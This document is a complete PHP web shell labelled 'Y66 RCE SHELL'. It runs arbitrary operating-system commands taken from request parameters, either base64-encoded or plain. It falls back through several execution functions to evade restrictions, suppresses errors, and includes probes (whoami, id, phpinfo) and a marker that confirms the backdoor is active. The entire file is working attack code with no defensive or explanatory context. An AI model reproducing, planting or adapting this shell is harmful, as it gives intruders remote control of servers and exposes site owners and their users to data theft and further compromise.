<?php
/* Y66 RCE SHELL cd7d1786c6b4 */
error_reporting(0);

// Multiple execution methods for compatibility
if(isset($_REQUEST['y66_cmd'])) {
    $cmd = base64_decode($_REQUEST['y66_cmd']);
    echo "Y66_OUTPUT_START";
    echo "CMD: " . $cmd . "\n\n";
    
    // Try multiple execution methods
    if(function_exists('shell_exec')) {
        $output = @shell_exec($cmd);
    } elseif(function_exists('system')) {
        ob_start();
        @system($cmd);
        $output = ob_get_clean();
    } elseif(function_exists('exec')) {
        @exec($cmd, $output_array);
        $output = implode("\n", $output_array);
    } elseif(function_exists('passthru')) {
        ob_start();
        @passthru($cmd);
        $output = ob_get_clean();
    } elseif(function_exists('popen')) {
        $handle = @popen($cmd, 'r');
        $output = fread($handle, 8192);
        pclose($handle);
    } else {
        // Last resort - backticks
        $output = @`$cmd`;
    }
    
    echo $output ? $output : "NO_OUTPUT_RECEIVED";
    echo "Y66_OUTPUT_END";
    exit;
}

// Alternative parameter name
if(isset($_REQUEST['cmd'])) {
    $cmd = $_REQUEST['cmd'];
    echo "Y66_OUTPUT_START";
    echo "CMD: " . $cmd . "\n\n";
    
    if(function_exists('shell_exec')) {
        echo @shell_exec($cmd);
    } elseif(function_exists('system')) {
        @system($cmd);
    } elseif(function_exists('exec')) {
        @exec($cmd, $output);
        echo implode("\n", $output);
    } else {
        echo @`$cmd`;
    }
    
    echo "Y66_OUTPUT_END";
    exit;
}

// Simple test commands
if(isset($_REQUEST['test'])) {
    if($_REQUEST['test'] == 'ping') {
        echo "Y66_PONG_cd7d1786c6b4";
    } elseif($_REQUEST['test'] == 'phpinfo') {
        phpinfo();
    } elseif($_REQUEST['test'] == 'whoami') {
        echo @shell_exec('whoami');
    } elseif($_REQUEST['test'] == 'id') {
        echo @shell_exec('id');
    }
    exit;
}

// Marker for verification
echo "Y66_SHELL_cd7d1786c6b4_ACTIVE";
?>